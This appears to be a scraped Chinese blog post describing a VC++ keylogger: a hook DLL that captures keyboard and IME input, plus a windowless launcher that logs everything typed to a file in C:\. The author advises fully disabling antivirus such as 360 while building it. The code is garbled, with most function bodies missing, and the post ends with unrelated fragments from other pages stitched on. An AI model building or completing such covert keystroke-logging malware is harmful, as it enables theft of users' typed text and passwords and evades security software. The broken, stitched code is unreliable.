分為1個dll工程和1個win32空工程。
新建乙個dll空工程,字符集使用多位元組字符集。以下是源**:
shurufa.h:
#ifndef shurufa_h
#define shurufa_h
#include #include #include #include #pragma comment(lib,"imm32.lib")
extern "c" void writefile(char *lpstr);
extern "c" void writtitle();
extern "c" __declspec(dllexport) bool installhook();
extern "c" __declspec(dllexport) bool unhook();
#endif
shurufa.cpp:
#include "shurufa.h"
#define file_path "c:\\shurufa.txt"
hhook g_hhook = null; //hook控制代碼
hinstance g_hhinstance = null; //程式控制程式碼
hwnd lastfocuswnd = 0;//上一次控制代碼,必須使全域性的
hwnd focuswnd; //當前視窗控制代碼,必須使全域性的
char title[256]; //獲得視窗名字
char *ftemp; //begin/end 寫到檔案裡面
char t[2]=; //捕獲單個字母
void writefile(char *lpstr)
/*void writtitle()}*/
lresult callback messageproc(int ncode,wparam wparam,lparam lparam)
}break;
case wm_char: //截獲發向焦點視窗的鍵盤訊息
if (ch>=8 && ch<=31) //控制字元
if (strcmp(str,"n"))}}
break;}}
lresult lresult = callnexthookex(g_hhook, ncode, wparam, lparam);
return(lresult);
}//hook_api bool installhook()
bool installhook()
//hook_api bool unhook()
bool unhook()
bool apientry dllmain( handle hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)return true;
}
shurufa.cpp的源**,主要來自微軟專家的部落格:
vc++擷取輸入法輸入資訊鉤子dll實現,我稍微進行了一下修改,因為不修改的話,是會報錯的,不知道為什麼。
再新建乙個win32的空工程,來呼叫shurufa.dll:
#include "..\shurufa\shurufa.h"
//win 函式入口
int winapi winmain(hinstance hinstance, hinstance hprevinstance,
lpstr lpszcmdline, int ncmdshow)
else
}else
if (error)
while (getmessage(&msg,0,0,0))
return msg.wparam;
}
生成的shurufa.dll和shurufa_main.exe放在同乙個目錄,然後雙擊shurufa_main.exe使之執行,不過不會有視窗,但是用任務管理器是可以看到的。
開啟記事本,輸入漢字,然後c盤根目錄會產生shurufa.txt。
測試結果還蠻好的,漢字、英文、數字、特殊字元等,都可以記錄下來。
注意事項:
在生成dll和exe的時候,要把360等安全軟體關了,而不是簡單地暫時停止保護多長時間。
VC 擷取輸入法輸入資訊鉤子dll實現
我們在實現輸入法的智慧型糾正的時候,需要獲取輸入法輸入的資訊,如何實現呢,鉤子如下 cpp include windows.h include imm.h include stdio.h define hook api declspec dllexport hhook g hhook null ho...
輸入法控制
unit u ime inte ce implementation uses windows,forms,imm,sysutils,messages varstmpclassname,stmpime string 失去焦點時的控制項名稱和輸入法名稱 msghandle hhook 0 判斷當前類名是...
輸入法設定
scim 1.兩個scim圖示 使用 superuser產生乙個,可在設定裡將他從工作列隱藏 2.無法在eva中使用 sudo apt get install scim qtimm fcitx 1.安裝 設定預設 sudo apt get install fcitx sudo apt get ins...